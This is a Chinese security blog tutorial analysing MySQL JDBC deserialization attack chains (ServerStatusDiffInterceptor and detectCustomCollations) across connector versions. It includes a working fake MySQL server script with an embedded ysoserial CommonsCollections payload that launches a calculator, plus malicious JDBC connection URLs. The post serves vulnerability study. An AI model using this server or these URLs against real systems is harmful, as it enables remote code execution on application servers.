JDBC反序列化

Oceanzbz

2025-01-07

Java安全

JDBC, 反序列化

条件

Jdbc可控且目标机器出网。
存在反序列化利用链的漏洞组件例如cc链那些。

前置知识

BLOB为二进制形式的长文本数据
BIT类型(Bit数据类型用来存储bit值)数据
queryInterceptors:一个逗号分割的Class列表（实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class），在Query”之间”进行执行来影响结果。（效果上来看是在Query执行前后各插入一次操作）
autoDeserialize:自动检测与反序列化存在BLOB字段中的对象

这里其实最主要的点是在与这个queryInterceptors参数，引用其他师傅的解释：

它允许你指定一个或多个实现了 com.mysql.cj.interceptors.QueryInterceptor 接口的类。这些类的目的是在执行 SQL 查询前后进行拦截和操纵，你完全可以理解为，只要JDBC带上了这个，在执行SQL语句前和后他就会有一层类似的Filter，默认调用其预处理preProcess 和后处理postProcess等方法！！！

ServerStatusDiffInterceptor链

8.0.7-8.0.20

依赖

<dependency>  
  <groupId>mysql</groupId>  
  <artifactId>mysql-connector-java</artifactId>  
  <version>8.0.13</version>  
</dependency>

调用链分析

先来找到调用readObject的地方，毕竟这里是反序列化的执行点。

找到了com.mysql.cj.jdbc.result.ResultSetImpl 这个类的getobject 方法可以看到调用了readObject方法，接着去寻找哪里调用了getobject方法

找到了 com.mysql.cj.jdbc.util.ResultSetUtil类的resultSetToMap()方法,在继续寻找调用resultSetToMap方法的地方

找到com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor类的populateMapWithSessionStatusValues() 方法，还要继续寻找谁调用了它

可以找到在其同类下的preProcess方法调用了它，到此为止链子就算可以闭合了。为什么这么说呢，是因为mysql在执行getconect进行连接时会调用一系列的方法触发我们手动配置的queryInterceptors(可以类比于一个拦截查询器)，如果不为空的话就会调用preProcess方法，接着就会调用populateMapWithSessionStatusValues方法并且执行一个SHOW SESSION STATUSsql语句，并将返回的结果放入resultSetToMap方法中再去调用getobject方法从而触发漏洞。

仅凭语言描述还是比较抽象，搭建一个恶意mysql服务端，来跟进一下执行了getConnection方法的流程

Mysql客户端

package com.ocean;  
  
  
import java.sql.*;  
public class Jdbc8 {  
    public static void main(String[] args) throws ClassNotFoundException, SQLException {  
        String driver = "com.mysql.cj.jdbc.Driver";  
        String DB_URL = "jdbc:mysql://127.0.0.1:59716/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_open -a Calculator";//8.x使用  
        Class.forName(driver);  
        Connection conn = DriverManager.getConnection(DB_URL);  
  
    }  
}

Mysql服务端

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] &gt; payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break

if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3307

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

也可以采用如下项目
https://github.com/fnmsd/MySQL_Fake_Server
https://github.com/4ra1n/mysql-fake-server

我这里采用的是4ra1n师傅的项目复现的

可以成功复现。下面就来看看流程

可以看到这里又调用了getConnection继续跟进去看看

调用了connect方法

参数没什么变化，会进入到第一个case里，然后调用getInstance方法

返回一个ConnectionImpl方法跟进去

这里就是一些 evil mysql的一些参数

下面会调用一个initializeSafeQueryInterceptors方法，跟进去

这里就是一些初始化的操作，继续跟下去，跟进createNewIO方法

会调用connectOneTryOnly方法并且参数是false，跟进去

继续初始化

调用了handleAutoCommitDefaults方法跟进去

调用setAutoCommit设置为True

执行sql语句跟进

这里会向服务端发送数据包，跟进sendQueryString方法

最后返回sendQueryPacket方法跟进

会调用invokeQueryInterceptorsPre方法

这里有熟悉的preProcess方法了，继续跟进

继续调用

可以看到熟悉的东西了，跟进去

上面的sql语句查询恶意的服务端会返回序列化数据，然后调用resultSetToMap方法在调用getObject方法实现反序列化。

列一下调用栈

transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:10, Jdbc8 (com.ocean)

这里的jdbc版本是8,低版本大致流程也是这样，只有少数异同点，但最后都是进入getObject方法触发反序列化

5.1.0-5.1.10

package com.ocean;  
  
import com.mysql.jdbc.PreparedStatement;  
  
import java.sql.Connection;  
import java.sql.DriverManager;  
import java.sql.ResultSet;  
import java.sql.SQLException;  
  
public class Jdbc5 {  
    public static void main(String[] args) throws ClassNotFoundException, SQLException {  
        String url = "jdbc:mysql://127.0.0.1:59716/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_open -a Calculator";  
  
        Class.forName("com.mysql.jdbc.Driver");  
        Connection connection = DriverManager.getConnection(url);  
  
        String sql = "select database()";  
        PreparedStatement ps = (PreparedStatement) connection.prepareStatement(sql);  
//执行查询操作，返回的是数据库结果集的数据表  
        ResultSet resultSet = ps.executeQuery();  
    }  
}

5.1.11-5.x.xx

package com.ocean;  
  
import java.sql.Connection;  
import java.sql.DriverManager;  
import java.sql.SQLException;  
  
public class Jdbc5_1 {  
    public static void main(String[] args) throws SQLException, ClassNotFoundException {  
        String url = "jdbc:mysql://127.0.0.1:59716/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_open -a Calculator";  
        Class.forName("com.mysql.jdbc.Driver");  
        Connection connection = DriverManager.getConnection(url);  
  
  
    }  
}

6.x

package com.ocean;  
  
import java.sql.Connection;  
import java.sql.DriverManager;  
import java.sql.SQLException;  
  
public class Jdbc6 {  
    public static void main(String[] args) throws ClassNotFoundException, SQLException {  
        String url = "jdbc:mysql://127.0.0.1:59716/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_open -a Calculator";  
        Class.forName("com.mysql.jdbc.Driver");  
        Connection connection = DriverManager.getConnection(url);  
    }  
}

detectCustomCollations链

这里的不同点在与走的是 com.mysql.cj.jdbc.ConnectionImpl类的buildCollationMapping方法之后都是一个流程前面也是一样的

列一下可以用的版本

(1) MYSQL5.1.41及以上: 不可用

(2) MYSQL5.1.29-5.1.40:

jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&amp;autoDeserialize=true&amp;user=yso_JRE8u20_calc

(3) MYSQL5.1.28-5.1.19:

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&amp;user=yso_JRE8u20_calc

(4) MYSQL5.1.18以下的5.1.x版本: 不可用

(5) MYSQL5.0.x版本: 不可用

剩下的就是依然可以利用工具进行复现就不在复现了。

5.1.41-5.1.48

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";  
String username = "yso_CommonsCollections4_calc";  
String password = "";  
Class.forName("com.mysql.jdbc.Driver");  
conn = DriverManager.getConnection(url,username,password);

5.1.29-5.1.40

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";  
String username = "yso_CommonsCollections4_calc";  
String password = "";  
Class.forName("com.mysql.jdbc.Driver");  
conn = DriverManager.getConnection(url,username,password);

5.1.19-5.1.28

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_CommonsCollections4_calc";  
String username = "yso_CommonsCollections4_calc";  
String password = "";  
Class.forName("com.mysql.jdbc.Driver");  
conn = DriverManager.getConnection(url,username,password);

6.0.2-6.0.6

Connection conn=null;  
        String url = "jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";  
        String username = "yso_CommonsCollections7_calc";  
        String password = "";  
        Class.forName("com.mysql.jdbc.Driver");  
        conn = DriverManager.getConnection(url, username, password);

参考文章：

https://forum.butian.net/share/2872
https://boogipop.com/2023/03/11/WebDog%E5%BF%85%E5%AD%A6%E7%9A%84JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/